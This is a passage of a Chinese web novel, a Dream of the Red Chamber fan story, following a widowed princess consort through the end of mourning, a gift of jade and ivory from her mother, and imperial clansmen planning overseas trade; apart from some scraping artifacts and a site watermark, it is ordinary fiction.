花,只盼着这年早点过去,好让我安生一段时日!当日本来还想着分几样事务给周妹妹的,哪知道三姑娘没了,周妹妹正伤心,哪里敢多劳动她,只能我多费点心了!”说到这里,她忍不住叹了口气,像是真的在为周侧妃惋惜一样。 雍王也是叹道:“你说的是,周氏是个没什么主意的,没了孩子,一半精气神都没了,再叫她帮你管家理事,就太为难她了!” 雍王妃暗自翻了个白眼,合掌念了声佛,口中说道:“可不就是这样嘛,王爷你也得加把劲,等周妹妹再有个孩子,也就能真的放下了!” 一听雍王妃说什么加把劲,雍王就感觉腰子有点隐隐作痛,他赶紧岔开了话题:“听说今儿个几个孩子跑隔壁去了?” 雍王妃心中一跳,叹道:“可不是嘛,几个孩子听到隔壁有动静,硬是要爬上梯子去看,就看到隔壁几个侄儿侄女正在玩呢,当下就要跟他们一起玩!珩儿小的时候,我还是带着他到各家做过客的,可是如今这情况,咱们家能跟谁家多往来呢?几个小的至今连府门都没出过,如今见到差不多大的孩子,还是堂兄弟姊妹,哪有不高兴的道理!隔壁几个侄儿侄女也是差不多,连大侄子都好久不出门了,除了府里头的那些主子奴才,能见到谁呢?珩儿跟他也算是见过几面,如今遇上了,可不就是一拍即合!那边不方便过来,那也只能是咱们家孩子自个过去!也亏得他们机灵,找了几个粗使的婆子抱着,要不然,那么高的院墙,一个不小心摔下来,那可不是什么好玩的!” 雍王听了,也是叹了口气。之前的事,他这一辈的成年兄弟死了大半,好几家妻妾儿女都被圈了起来,以后还不定前程如何。他自个也被上头防着,哪里还敢跟其他兄弟宗室有什么往来,如今平王府倒是还好,自家就算是跟他们有些往来,其他人也只当他们家是怜惜隔壁一大家子孤儿寡母的,又是比邻而居,多往来一些也不犯什么忌讳。 见雍王没有生气,雍王妃想了想,壮着胆子说道:“我听珩儿说,弟妹心疼几个孩子被关在府里无聊,叫下人用冰雪做了些玩具,今儿个珩儿他们也跟着一起玩了,这事若是叫外头人知道了,应该不打紧吧!” 雍王摇了摇头,说道:“你也太小心了,这大冬天的,用点冰雪做玩具,又算得了什么,无非就是小孩子玩闹罢了!难不成父皇还能跟一丁点大的孙子孙女一般计较!外头那些人,再刻薄,也不能刻薄到孩子身上!真要说起来,各家守孝,又有几个真的规规矩矩了!只要不拿到台面上,面上能混得过去,大家都当做不知道便是!” 雍王琢磨着,要是自家府上闹出这等孝期玩乐的事情,自家父皇说不定正好会借题发挥,但是隔壁平王府有什么好说的,他们家能有什么被人惦记的,就算是削了爵位,也轮不到外头的人继承,谁没事盯着他们家下蛆! “这就好,我也是被之前的事情给吓着了!”说到这里,雍王妃露出了心有余悸的神情。 雍王也是一脸感同身受,府里头侧妃姨娘都倚靠着他生活,在她们面前 ,雍王从来不会表露自己的无奈与软弱,而雍王妃不一样,雍王妃在之前的变故中也经历了娘家的败落,两人在这一点上颇有些同病相怜之感,如今听得雍王妃这么一说,雍王看着妻子的眼神也柔软下来,他揽住雍王妃的肩膀,轻声安慰道:“别怕,都过去了!” 雍王妃只略僵硬了一下,就顺着雍王的力气微微倚靠在他身上,同样低声喃喃道:是啊,都过去了!?[(” 夫妻两个一时相拥无言,之后便一起洗漱睡下,一夜无话。 …… 如今过年也没春晚,府里也不方便搞个戏班弄点什么节目,因此,除夕那天,平王府的大小主子在正院围坐了一桌,顾晓特意准备了一些小游戏,因为在场的大人都是女子,即便是那等需要身体接触的游戏也不算尴尬,大家反而都玩得挺开心。到了后来,玩不动了,干脆围在那里磕着瓜子,吃着零食闲聊讲故事,一直熬到天亮,互相拜了年,这才摇摇摆摆各自回去休息。 孩子们也有自个的游戏,除了末儿年纪小,撑不住,玩了一会儿就睡了,其他孩子也跟着熬到了子时,胡乱吃了两口饺子,打着呵欠歇下了。 顾晓一直睡到午后才算是醒了过来,还觉得有点头疼,赶紧叫人拿了薄荷油过来,在太阳穴揉了两滴,勉强算是好了一些,见孙嬷嬷神情关切,苦笑道:“现在真是身体不如以前了,都睡这么长时间了,还觉得脑子里嗡嗡的!” 孙嬷嬷笑道:“娘娘您现在还睡得着,像是我啊,昨儿也熬了一宿,今儿早上也就合眼眯了一会儿,就睡不着了!这人年纪一大,就少觉,想睡都睡不着喽!” 顾晓忙说道:“我这边也用不着嬷嬷一直盯着,嬷嬷你也回去好好歇着,哪怕就是躺在炕上眯一会儿呢,总不能就这么熬着!” 孙嬷嬷也不拒绝顾晓的好意,笑道:“那我可就享了娘娘的福了,等一会儿就回去歇着!” 顾晓梳洗了一番,也懒得换衣服,就在炕上吃了点东西,昨儿个一晚上嘴就没停过,这会儿也无甚胃口,不过是就着一碟子拌三丝和溜鸭脯,吃了半碗胭脂米饭,又喝了半碗鸡皮虾丸汤,便搁了筷子。 “几个孩子怎么样了?”顾晓琢磨了一下,这大年初一,也不能一直赖在床上,便起身换了衣服,口中问道。 “小王爷一早就醒了,听说娘娘还没起,只在外头磕了个头,然后就带着几位公子和姑娘玩去了!”春香将顾晓换下来的衣服重新挂了起来,口中说道。 “这帮孩子,精力真好!”顾晓笑着摇了摇头,又问道,“给各处的赏钱发下去了没有?” 春燕应道:“一大早就都发下去了,那可都是新制的制钱,拿出去七八百个就能当一吊花呢,一个个都说娘娘慈悲,祝娘娘千秋百代呢!” 顾晓不由一笑:“什么千秋百代的,不过就是大过年的,给讨个彩头罢了!算算时间,再有个几个月,咱们府里也该出孝了!” “可不是嘛,算算时间,正好是过了端午!”屋里顿时喜气洋洋起来 ,谁要真心给徒宏远那家伙守孝啊,他一死,大家日子好过多了,这府里头,大概也就是西院李氏才真的对徒宏远的死伤心难过,其他人,那真的是没太多想法。至于几个孩子,像是年纪最大的徒嘉钰,实际上如今对徒宏远也没多少印象了,偶尔可能会想起来自己以前还有个爹,但是,其他时候,是学业不够紧张,还是游戏不够好玩?谁有那许多功夫沉浸在过去没有多少深刻记忆的所谓父子亲情里头啊! 顾晓想了想,说道:“既然是端午之后,那天气也该热起来了。到时候咱们可以先去寺庙里面祈福,顺便住上几天!我记得惠泰寺的素斋很不错,正好可以过去尝一尝!” 大家一听,便来了精神,谁乐意天天窝在府里啊,就算王府好几十亩的面积,大家能转悠的也就是后院这十几二十亩地,以前还能借着出去采买或者是探亲之类的功夫出去走一走,如今连二门都出不去,实在是憋屈得厉害。 “那娘娘可得早点叫人去跟惠泰寺说好,包下两个院子下来,那边香火好得很,别到时候被外头的人冲撞了!”其他人能幻想着到时候可以好好透个气,吴嬷嬷就得惦记着别的问题。 顾晓随口答应了下来:“嬷嬷说的是,回头就先叫人给那边送些香火钱,跟他们说好,等我们府里除了服,就过去上香!” 去年夏天的时候,顾晓就想过在西山那边建个别业,好用来避暑,不过因为这年头的建筑成本给打退了,她这个身份,总不能跑到工部那边借工匠去研究什么钢筋混凝土,便是土水泥,想要质量好,里头还得加点冶炼后的矿渣呢,顾晓不觉得自己的身板能扛得起图谋不轨的罪名,这事也只能作罢。 只是避暑的事情,也不能放弃,人生总共才多少年,总不能年年夏天干熬着吧!顾晓这会儿就想起,之前曾经在隆安侯书房里面见过一种风轮,是拉线式的,外头叫人拉线,风轮里面七个扇叶就能转起来,若是前头再放个冰鉴,那扇出来的便是凉风了。她记得原身小时候还闹着要,被隆安侯夫人给否了。 屋里加装一个这个,就得专门找几个健仆来拉线,后院不能有男人进来,就只能选那种粗使的健壮婆子。但是这些人本身自己就足够壮硕怕热,你还叫人家大夏天的干这种体力活,到时候你一个月给多少月钱合适?多了,那些体面的大丫头要计较,少了,也对不住人家这番辛苦。而且,这个差事只能做一个夏天,等天冷下来,这些婆子又叫她们去做什么?所以,多一事不如少一事,你想要凉快,叫人隔着冰鉴拿扇子扇几下便是,还弄个风轮,那不是平白增加麻烦吗? 但对于顾晓来说,情况就不一样了,这人力不行,你可以用水力啊!王府里头就有外头引进来的活水,完全可以架个水车,用水力来驱动风轮,等夏天过了,水车还能用来浇灌花园,可谓是一举多得。 顾晓上辈子也不是工科生,虽说想了个主意,却不知道具体该怎么操作,当下便想着,回头叫人跟府里那些工匠说一声,叫他们先造个小的模型出来,看看可不可行,可行的话,就在夏天 之前,将水车和风轮造出来,给各处安上。 顾晓胡思乱想了一阵子,忽然想到一件事:“这出了孝,是不是钰儿就得去弘文馆读书了?” 吴嬷嬷看了顾晓一眼,点了点头,说道:“这过了年,小王爷也七岁了,正好就是入学的年纪,不过,得先给圣上那边上个折子才行!” 顾晓顿时有些苦恼,要是宫里有个正经的皇后,甚至是太子妃在的时候,她只需要跟这两位打交道就行,到时候无论是上个折子,还是亲自过去问安,几句话的事情,这事也就搞定了。可是如今宫里做主的是甄贵妃,哪怕掌握着宫务,但中宫笺表可不在她手里,除非圣上封她做皇贵妃,否则的话,顾晓这个太妃跑去求甄贵妃,就显得有些太谄媚,还不太符合礼法,对自己和甄贵妃都不好。最重要的是,红楼里头,甄家是明确坏了事的,顾晓也不敢确定未来新君是谁,但是,不跟甄家这个注定的失败者太亲近,却是理所应当的事情,免得日后纠缠不清,还要被新君惦记上。 那么,只能是叫顾晓给圣上这个公爹上折子,顾晓上辈子除了在电视上,现实里头连个镇长都没见过,现在让她给圣上上书,这也忒难为她了一些,这般一想,顾晓脸色便是一苦。 孙嬷嬷以为顾晓是觉得自己作为内命妇,上这个折子不合适,因此便建议道:“要不,这事还是让小王爷去做?先请季先生或者是府里的长史打个稿,叫小王爷抄一遍,再递上去便是!” 顾晓顿时长松了一口气,很好,儿子,你自己上学的事情,还是你自己做主吧,妈就不多掺和了!还有,长兄如父,你以后就是一家之主了,末儿取大名的事情,干脆也交给你了,折子上提一嘴,看圣上愿不愿意赐名吧!! 第 70 章 有了盼头之后,日子就过得飞快。 不仅是顾晓,府里其他人之前或许不觉得憋屈,但是,等顾晓说了除服之后,就带他们出城去惠泰寺上香,顿时一个个都期待得不行。何氏米氏这样年纪比较小的,已经开始选了料子,准备将到时候要穿的衣裳赶出来。 明媚的春光中,隆安侯先从茜香国回来了。 那边的王太女果然看上了某个宗室子弟,毕竟,跟茜香国那些男子相比,这些宗室子弟一个个长身玉立,风度翩翩,虽说算不上出口成章,那也是知书达理,往王太女面前一放,那真的是降维打击。要是这几个不是□□宗室子弟,她都想全要了,最后一番对比之后,各种忍痛割爱,留下了长得最俊俏的那个,其他人倒也没觉得多遗憾,毕竟,来这么一趟,一方面见识了异国风情,另一方面就是他们发现,这茜香国,那真是个宝地啊! 这边盛产象牙还有宝石,尤其是翡翠。翡翠一度并不被当做是玉石看待,一直到北宋的时候,才被称为翠玉,但是价格比起软玉还是差了许多。不过本朝的时候,因为太-祖皇后喜欢翡翠,将其纳入了茜香国的贡品行列,翡翠的价格顿时就水涨船高,哪怕如今还是不如和田玉,但也差不了太多,遇上那等种水比较好的,做成首饰,那真的是千金难求。 但是这玩意放在茜香国本地,价钱就便宜得多,之前王室就赠送了他们不少,他们又私底下将随身携带的不少小东西给卖了,然后采买了不少玉料,这些运回去,一大家子的生计都不用发愁了。何况回去之后,说不得还能被封个爵位,那还有什么不满意的呢?要不是来一次茜香国委实不太容易,他们这些娇生惯养的,也不太适应这边湿热的气候,要不然,都想要常年往来,好发财致富了! 隆安侯也带了不少宝石玉料回来,他可比那些宗室子弟财大气粗多了,甚至想过叫顾氏的旁支子弟建立一条往那边几l个小国的商道出来,这些地方虽说是小国寡民,但物产却还比较丰富,别的不说,这边粮食价格是真贱啊! 顾家在浙东虽说也是地主,但是那里多山,可以耕种的地方并不多,这也是顾家为什么在地方上与人为善的缘故,这等地方,民风往往彪悍,而且更有进取之心,你要是租子要的多了,人家活不下去,说不定就拍拍屁-股,干脆出海找别的营生了。 顾家的产业里,其实粮食种的不多,而是在山地上广种桑树,以此养蚕缫丝,有顾家在后头背书,这些生丝一般都能卖个不错的价钱。但是光有钱没用,你还得换来粮食才行。 隆安侯不是那等不通经济的书呆子,他看过茜香国的情况之后,发现哪怕是从浙东那边采买最普通的纱罗,运到茜香国只换粮食,也能大赚一笔,何况还有宝石玉料呢! 隆安侯回来没几l天,隆安侯夫人就带着几l个箱子上了门。 “之前你出了那个主意,你爹也算是得了不少好处,虽说他也不想着升职,不过回头你哥继承爵位的时候说不定能少降一些!”隆安侯 夫人笑道,“你们府上别的也不差什么,你爹便专门给你准备了不少宝石玉料,你自个打首饰也好,赏给别人也行,再不济,留下来存着,以后给两个孩子做聘礼,也是好的!” 说着,隆安侯夫人叫人将其中两个大箱子打开,顾晓顿时差点没被晃花了眼。 ?本作者微云烟波提醒您最全的《红楼太妃要躺平》尽在[],域名[( 她上辈子就是个土鳖,有钱了也只限于买那种小金豆子攒起来,平常戴的首饰都是那种普通的货色。有一年跟团去西南旅游,硬是被导游坑了一把,买了个所谓的翡翠镯子回来,差点没心疼死。 跟箱子里这些翡翠料子比起来,她上辈子那个镯子只怕就是普通的大理石雕出来的。原身也有一套翡翠头面,之前顾晓见了,已经觉得难得,如今再看看箱子里这些,无论是颜色还是种水,都堪称上品乃至极品,那玻璃种就跟一汪碧水一般,让人一看都怕伸手去摸的时候,直接荡起涟漪。还有个苹果绿的,哪怕还没雕刻,都叫人似乎闻见了青苹果的果香。 “妈,这也太贵重了吧!”顾晓移开眼睛,忍不住说道。 “这有什么贵重的,在茜香国那边,这玩意不比石头价格高多少,早知道这样,当初给你准备嫁妆的时候,就该叫人过去采买一些,给你多添一些首饰!”隆安侯夫人自个当初看到的时候也有些迷醉,不过她也是见过世面的人,看多了也就觉得没什么,何况,隆安侯都说了,回头就叫老家那边的族人将商队给建起来,以后家里不会缺,这会儿跟顾晓说起来,便很是轻描淡写。 顾晓听隆安侯夫人都把话说到这个份上了,也不好再推辞,只是想着回头顾家几l个侄子侄女成婚的时候,得回几l份厚礼才行。 隆安侯夫人带来的不光是翡翠,还有一箱子上品的红蓝宝石,这顾晓倒是没怎么多看,主要是后世她自个还买过人工合成的各种宝石,一颗指头大色泽匀净的鸽血红,价钱还不够买一克金豆子的,至于原本被炒得火热的钻石,虽说没被打到白菜价,也只能说是平常。顾晓那会儿有个专门的珠宝盒,里面都是这种人工合成的货色,都不用镶嵌到首饰上,没事对着灯光照一照,都让顾晓平白生出一种豪富之感。 相比较而言,这几l个匣子里头的宝石就显得有些黯淡无光。这也是难免的事情,后世那些宝石都经过严格的切割打磨,每一面都是完美的折射角度,一点光照上去,都显得熠熠生辉。而这些宝石,还只是原石,如今也没太好的切割打磨手段,工匠一般就是打磨圆润之后,镶嵌到首饰上,温润有之,要说璀璨,那就差远了。 而且,自从前朝的时候,碧玺流入中原之后,更是成了大家的心头好,因为碧玺都不用如何雕琢,天然就具备多色性,颜色浓艳多变,嵌在首饰上更是平添几l分光辉。因此,如今大家做首饰,更喜欢用优质的碧玺,红蓝宝石就落了一步,用得少了。不过放在此时,价格依旧不菲。 最后一个大箱子里放的竟是象牙和犀角,都是整根的那种。顾晓上辈子只在网上和博物馆里见过相关的工艺品,这会儿看到,不免有些惊讶,就听隆安侯夫人说道 :“那边养的大象也不少,可惜工艺不行,你爹就只买了象牙回来。这些象牙你留着,回头不管是做牙雕还是牙席都好!至于这犀角,也是好东西,清热凉血,定惊解毒的,小儿难养,你这边府里好几l个孩子,以后也用得上!” 顾晓对这两样心里其实有些别扭,主要是这两样都得取自活体动物身上,难免觉得有些残忍,但也不好在一片慈心的隆安侯夫人面前表现出来,只得笑道:“妈你这般将东西送过来,回头叫哥哥嫂子知道了,只说我胳膊肘往外拐,嫁了人还挖了娘家贴夫家呢!” 听顾晓这么一说,隆安侯夫人忍不住轻哼了一声,说道:“我跟你爹的东西,愿意给谁就给谁,他们要是有意见,自个挣去啊!” 这世上,婆媳关系和谐的人家只是少数,隆安侯夫人一直觉得自己是好婆婆了,从来不插手儿子儿媳之间的事情,该给的也都给了,但人总是不知足。尤其是二儿媳刘氏,因着娘家败了,如今一门心思贴补娘家,这才一年时间,嫁妆都被她倒腾出去多半,这也罢了,顾家又不是指着儿媳妇嫁妆过日子的人家,结果刘氏居然想要给自己儿子跟娘家侄女订亲。 这隆安侯夫人根本不能忍,原本老二就不能袭爵,这些年一直在读书,准备通过科举入仕,如此,选择儿女亲家的时候,就得选那等书香门第。而刘家呢,他们家败落,那是自找的!他们家才多大点本事,竟然敢掺和最上层的事情,这样的人家,因为投机而起,又因为投机败落,以后说不定还得栽在这上头去。 顾家傻了才会跟这种人家继续结亲,你扶贫可以,不能将自家也给搭进去! 隆安侯夫人不想骂儿媳妇,直接找了儿子顾昀,将儿子骂了个狗血淋头。顾昀原本怜惜妻子娘家遭难,因此从不阻拦妻子接济娘家,可逆接济归接济,能拿家里孩子的前程开玩笑吗?回去就跟刘氏吵了一架,刘氏其实就是个窝里横,被顾昀一骂,顿时就缩了,又像是之前一样,只知道自怨自艾。顾昀怕刘氏没坑成儿子,又想坑女儿,只得去求隆安侯夫人,将女儿先养在隆安侯夫人膝下。 隆安侯夫人连长子所出的嫡长孙女都没养,如今却要将二房的孙女养在身边,隆安侯夫人都觉得张不开嘴。她这辈子自觉对几l个孩子都能一碗水端平,如今却是进退两难。虽说对儿媳妇不满意,但孙女却是亲的,平常请安的时候,看着也是个乖巧伶俐的孩子,总不能真让她被那个糊涂的娘给毁了。思来想去,隆安侯夫人只得也跟大儿媳说了,想要将几l个孙女都抱到自个院子里养着。 大房二子三女,两个儿子都是嫡出,三个女儿一个嫡出,两个庶出。庶出的两个都是大儿媳陪嫁丫头所生,一直也养在嫡母身边,三个女儿一般教养,最大的一个都已经是豆蔻年华,过两年都要出嫁了,说是养在隆安侯夫人身边,其实多半还是要跟着世子夫人学一些管家理事,主持中馈的本事。另外两个一个九岁,一个七岁,年纪也已经不算小。二房倒是没有庶出,一子二女三个孩子都是刘氏所出,这也是为什么刘氏那般折腾,顾昀也只 能吵一架的缘故,投鼠忌器啊! 如今,隆安侯夫人院里就养了五个孙女,虽说大多数时候也不用她烦心,但是每日里人家一大早过来请安,你不能当做不知道,还有一天三顿,也都是一起吃饭。隆安侯夫人清静惯了的人,偶尔跟孙子孙女凑一块享一享天伦之乐也就罢了,这天天低头不见抬头见,她也有些倦怠。 这会儿跟顾晓说到儿子儿媳的时候,就难免带出了几l分怨气。 顾晓有些疑惑,却也不好多嘴说娘家兄嫂的不是,只得转移了话题,笑道:“妈你说的是,儿孙自有儿孙福,咱们母女啊,就自个好好高乐便是!” 说着,顾晓便兴致勃勃地说道:“既然妈你送了这么多玉料过来,那女儿可就不客气了,回头就叫人做了首饰摆件,到时候女儿戴给你看!” 隆安侯夫人笑呵呵说道:“好,我就喜欢闺女打扮得漂漂亮亮的!”她此刻才不会去想,女儿青年守寡,不该打扮得明媚鲜艳,女儿如今且还年轻着呢,要不是嫁进了皇家,她都有心将女儿接回去改嫁! 说着,她便开始给顾晓出主意:“这块颜色深,衬得你皮子白,可以给你做个镯子,这个颜色浅一些,倒是可以做钗子,还有,这个虽说水头好,却比较小,倒是可以给你做几l个耳坠子,剩下的还能磨几l个戒面……” 顾晓忽然想到网上曾经一度流行过的“车珠子”,忍不住就想笑,嘴里便说道:“边角料多了,也能多打磨一些珠子,回头做些珠串,拿来戴着玩也是好的!” 隆安侯夫人也是笑道:“这倒是不错,其实要是想省心,直接弄些平安无事牌就是了!” 母女两个都笑了一通,隆安侯夫人也想到王府过两个月就要除服的事情,便说道:“这会儿叫人将首饰做了,等你们府里除了服,正好就能用上!” 顾晓也说道:“前儿个还说除了服去一趟惠泰寺呢,到时候妈你也过去吧,咱们娘俩在寺里住几l天!” 隆安侯夫人没好气道:“你当妈跟你一样,天天闲着无事呢,总不能撩开一大家子,我一个老太太往外头跑!” 顾晓连忙恭维道:“您怎么就老太太了,好好打扮一下,走出去谁不说您就跟我姐姐一样啊!”隆安侯夫人确实保养得很好,五十多岁的人了,看起来依旧还像是四十出头,看上去就是个典型的中年贵妇的形象。 隆安侯夫人听得高兴,嘴上却是嗔道:“胡说什么呢,真要是跟你说的一样,那我不成老妖精了!” “您没见那《西游记》里头,长得丑的叫妖怪,年轻漂亮的才叫妖精呢!”顾晓这话只逗得屋里其他人都跟着笑了起来,隆安侯夫人只笑得想要来捏顾晓的嘴:“你这促狭鬼,倒是来取笑起老娘来了!” “妈,您那,别老是把老字挂在嘴边!”顾晓略微躲开了隆安侯夫人的手,笑着说道,“这人生百年,您才过了一半呢就喊老,那女儿不也奔在老的路上了!” “行啦,不跟你磨牙了!你这丫头,小嘴跟抹了蜜一样,再说下去 ,我都要看不清自个了!”隆安侯夫人话是这么说,心情却好得很,她为什么喜欢到自家女儿这里,不光是女儿是她身上掉下来的肉,她心疼女儿日子过得不容易,也是因为,在女儿这边,她总是被哄得开开心心的,不像是在家里。大儿媳妇倒是孝顺,年轻的时候嘴也巧,但如今都是几l个孩子的妈,大儿子都快娶媳妇了,自然得端起来。二儿媳妇以前不觉着,如今竟是个怨妇,多看她几l眼,隆安侯夫人都觉得难受。现在身边又养了一群孙女,长得都不错,可大概是没怎么在她这个祖母身边生活过,一个个端庄有余,灵动不足,在她那里,都有些拘谨。隆安侯夫人眼看着都快做曾祖母了,还得安抚几l个小孙女,委实不太自在。 而在女儿这边就很好,以前日子过得不顺的时候,也不跟她叫苦抱怨,如今更是想着法子孝敬,虽说都是些小东西,可这心意却是半点不假。 只是女儿这边再好,隆安侯夫人也不好多留,用了午餐之后,隆安侯夫人便准备回去。顾晓一意苦留,隆安侯夫人只是摆了摆手,说道:“这次就罢了,等你们府上除了服,我没事就来小住几l日!你爹刚从外头回来,刚给圣上那边交了旨,回头也该宴请一下亲朋同僚,府里如今就得准备起来!有的东西,你嫂子能做主,有的东西,还是得我亲自看着,要不是想你了,妈就直接派个人给你把东西送过来了!” 隆安侯夫人话都说到这个份上,顾晓自然也只能作罢,只叫人私下准备了一些礼物,让隆安侯夫人直接带回去。 隆安侯夫人在女儿这边也不客气,一看礼单,便说道:“你这丫头,怎么这会儿就这么生分了,都是自家人,这般客气作甚!”礼单上打头就是一幅仇十洲的《松亭试泉图》,然后就是一整套的玉壶玉杯,隆安侯夫人顿时就替女儿心疼起来。 顾晓笑道:“妈,你跟爹惦记着我,我也惦记着你们呢!这也不是什么好东西,你们尽管收着便是!” 隆安侯夫人琢磨着女儿是觉得收了那么多象牙玉料不安,怕家里兄嫂有想法,这才给备了这样的厚礼,心里不由叹了口气。女儿年纪跟两个兄长差得太多,感情自然也不够深厚,难免要多想一些,因此,这会儿也不再拒绝,只是想着,日后便是补贴女儿,也得私下行事。两个儿子人品她觉得还是信得过的,但是儿媳妇那边未必乐意看到小姑子占娘家什么便宜。 想到这里,隆安侯夫人顿时有些索然,她拍了拍顾晓的手,起身说道:“行啦,以后可别这样了,这些东西不当吃不当穿的,也就是摆在那里好看,你要是真心孝敬我跟你爹两口子,还不如以后有什么好吃的,多送几l盘子过来呢!” “就怕你们觉得我烦呢!”顾晓笑道,很多人都厚古薄今,但论起饮食文化,古今其实各有千秋,而论起口感滋味来,古人还真没后人有口福。 “有这么孝顺的闺女,我们高兴还来不及呢,哪里还会觉得你烦!”隆安侯夫人爱怜地看着女儿,“行啦,你也别送了!你也说了,以后日子还长着呢!” 顾晓坚持将隆安侯夫人送到了二门外,这才停了脚步,目送着隆安侯夫人坐上马车,出了二门,往角门那边行去,一直到看不见了,才回转过来。 吴嬷嬷见顾晓情绪似乎有些低落,便劝道:“夫人那边来一次也不容易,等除了服,娘娘自个能出门了,见面的次数就多了!” 顾晓摇了摇头,说道:“这出了嫁,娘家就不能算是自个家了,偶尔回去一次没问题,次数多了,也没得招人嫌恶!”哪怕隆安侯夫人没有多说什么,但是隐约透出来的意思,也让顾晓意识到,娘家那边婆媳关系如今其实略有些紧张。虽说如今孝字当先,但还有句话叫做家和万事兴,隆安侯夫人不想自家变成外人口中的谈资,也不想叫儿子们为难,也做不出民间婆婆的刻薄姿态,因此,很多时候,也只能略退让几l步。 “要是以后钰儿媳妇不孝顺,我……”顾晓嘀咕了两句,她声音很低,边上也没人听到,但是自个却回过神来,她也不需要儿子媳妇孝顺啊!以现在的婚姻习俗,徒嘉钰成婚的时候,她应该才三十多岁,还很年轻呢!而且她自个有钱有人,有房有地,不痛快了就自个出去找乐子,何必要先将自己代入到受气婆婆这个角色里头! 这般一想,顾晓顿时豁然开朗起来,当下振奋起精神,笑眯眯地说道:“走,咱们再回去看看那些玉料!”! 第 71 章 隆安侯这次差事办得好,这门婚事定下来,茜香国那边几十年都不会是问题,等到时候王太女生了孩子,大一点还可以也接到神京,在弘文馆读几年书再回去。 不过,至于将此事变成常例,就难说了。毕竟,除了茜香国之外,其他藩国也没王太女啊! 只是,当人有了新的盼头之后,再想要让他们如同之前一样混吃等死,就不太可能了。那几个没被选上,从茜香国回来的宗室子弟如今成了宗亲里头的香饽饽,天天有人请吃酒,问他们茜香国什么情况。这几个人也乐得吹牛打屁,他们虽说靠着做二道贩子,很是赚了一笔,可是谁还会嫌钱多咬手呢? 这年头,即便是皇室宗亲,多半消息也很闭塞。圣上几次南巡,虽说劳民伤财,却也能看到民间不少现状,不像是那等常年住在深宫之中,对外头什么情况一无所知的皇帝。但你要问他各个藩国是个什么情况,那他也是一问三不知。至于鸿胪寺那些所谓的专业人士,他们所知道的也就是从各国使节那里打听出来的。这会儿又不是汉唐那会儿,□□使节到处乱跑,搞几出一人灭一国乃至几国的佳话,当然,要是玩崩了也不用怕,立马后头强盛的朝廷就会过来兴师问罪,做爸爸的插手你们家的事是你们的荣幸,你们居然敢杀害□□使节? 如今鸿胪寺里头,真正出去过的人寥寥无几,见识根本比不得那些走南闯北的行商。 这会儿,一众宗亲才意识到,那些商人究竟有多赚钱。按照那几个宗室子弟的说法,他们去的时候,身上也没带多少东西,结果就是将随身的佩饰给卖了,就赚了一大笔,连同他们穿过的衣服,都能卖出不低的价钱来。而那边什么宝石象牙之类的,价格可就便宜多了,随随便便就能买一堆。说到这里,他们一个个那叫一个扼腕叹息,早知道如此,出发的时候,便是借印子钱,也得多置办一些东西带过去。 不仅如此,他们来回都走了相当长一段海路,还在沿海口岸停留过,在那边甚至还见过一些西夷商人,在港口那边,西夷带过来的不少洋货可比神京便宜多了,可见京中那些洋货铺子有多赚钱。 “都说士农工商,商人地位最低,可人家有钱啊!”一个宗室子弟看看自己半新不旧的春衫,再看看腰间佩戴的药玉,语气变得酸溜溜起来。 从茜香国回来的那个宗室子弟这会儿已经喝得微醺,笑嘻嘻说道:“祖宗家法,也没禁止咱们这些宗亲行商啊!那些商人沿途还得孝敬地方上的官员,连同各处钞关税吏都得打点,可咱们虽说身上没有品级,没有爵位,但终究还是宗亲,谁敢敲咱们得竹杠,不怕咱们去哭太庙吗?” “这有些不体面吧,总不能真入了商籍!”一个年级大一些的宗室子弟犹犹豫豫地说道。 “谁说做生意就得入商籍了,这朝堂上,哪一家在外头没点产业啊,便是咱们家府里,也是有些产业的,到时候找几个人顶在前头便是,咱们名义上就是跟他们一起游山玩水的!”脑子活一点的已经叫了起来,“咱们连爵 位都没有,又不能欺压地方▌[(,总不能困在京里饿死吧!反正让我去科举从军,我是没这个能耐的,宗人府也就那几个缺,怎么也轮不到咱们,还不如出去闯一闯呢!” “行,那咱们可得好生合计一下!”一帮宗室子弟凑在一起,嘀嘀咕咕起来。 不光是宗室,随行的一些官吏这一次远差出的也得了不少好处。不过,大多数人是下不了这个决心干这种跨国买卖的,也就是说说而已,毕竟,这条商路以前就有人干了,要不然,京中这些翡翠象牙哪来的。能干这一行的,谁背后没几个靠山啊,也就是老徒家的这帮子人,朝廷没给宗室太多优待,几代下来,就与百姓无异。如今除了徒这个姓氏还值几个钱之外,那就真没什么值钱的了。 但是,这里头大多数还是过过一段时间好日子的,也就是成家分出来之后,用光了老底子,这才落魄下来。再叫他们头悬梁锥刺股,去搞什么科举,显然又吃不了这个苦,搞到最后,一帮还在宗籍上,却已经没了爵位的宗室就只好到亲戚家,到宗人府去打秋风,次数少还好,次数多了,闹得人憎鬼厌的。他们上一辈如此,下一辈耳濡目染之下,能有多少心气出息也不好说。 也就是开国的年份还不算长,无爵的宗亲也不算太多,总还能接济一二。再有个十年二十年,外头就要出现无爵宗亲靠卖宗女婚事过日子的传闻了。 宗室的躁动大家都看在眼里,庆王那边也有不少人敲过边鼓,庆王自个也想要挣这个钱啊!他年纪也大了,但是这年头也没什么太好的避孕措施,庆王府儿子孙子如今加起来足有三十多个,还不提女儿孙女,他如今在的时候还好,亲王一年一万两银子的俸禄,还有不少皇庄和产业,但是等他一走,情况就不一样了,世子就只能继承个郡王爵位,其他儿子,只怕年纪比较小的几个最多就是混个保底的奉恩中尉,也只能继承他的一部分私产,这些私产放一起看着不少,这给下面几个孩子一分,那就没什么名堂了。 庆王自然也想要给自家儿孙多留点底子,可这事,他说了也不算啊!那些宗亲小打小闹还可以,但是只要规模略大一些,信不信立马就有人跳出来弹劾宗室与民争利?到那个时候,自个一个宗令可扛不住,还得圣上扛着才行。 但圣上也不是很想扛。圣上这把年纪了,图的就是个稳定,横竖他活着的时候,饿不到他的儿孙,他干什么要跟下头官员对着干呢? 之前搞了一下吏治,虽说只是打击一下地方上的不法乡绅,私底下已经有人说自己酷厉了,不知道多少人暗地里骂自己呢,他还想着来年再去南巡一次,可不想提防那些因为之前的事情被搞得家破人亡的乡绅。 因此,面对庆王的殷殷期盼,圣上打了个哈哈,说道:“朕也知道,不少宗亲日子艰难,只是经商终究有些不好听,朕还是得思量一下才行!” 庆王也不是蠢人,听圣上这么一说,就知道他是不打算明着给宗亲撑腰了,不免有些沮丧,不过也不能在圣上面前摆什么脸色,只得说道:“圣明无过圣上,老臣思虑不 周,叫圣上见笑了!” 圣上见庆王这般姿态,又有些不好意思起来,温言说道:王叔不必如此,朕算是宗室的家长,如今许多宗亲日子不好过,也是朕的过失!这宗亲没有合适的营生,也不是个办法,回头朕找人商议一番,看看能不能给宗亲一条出路!” 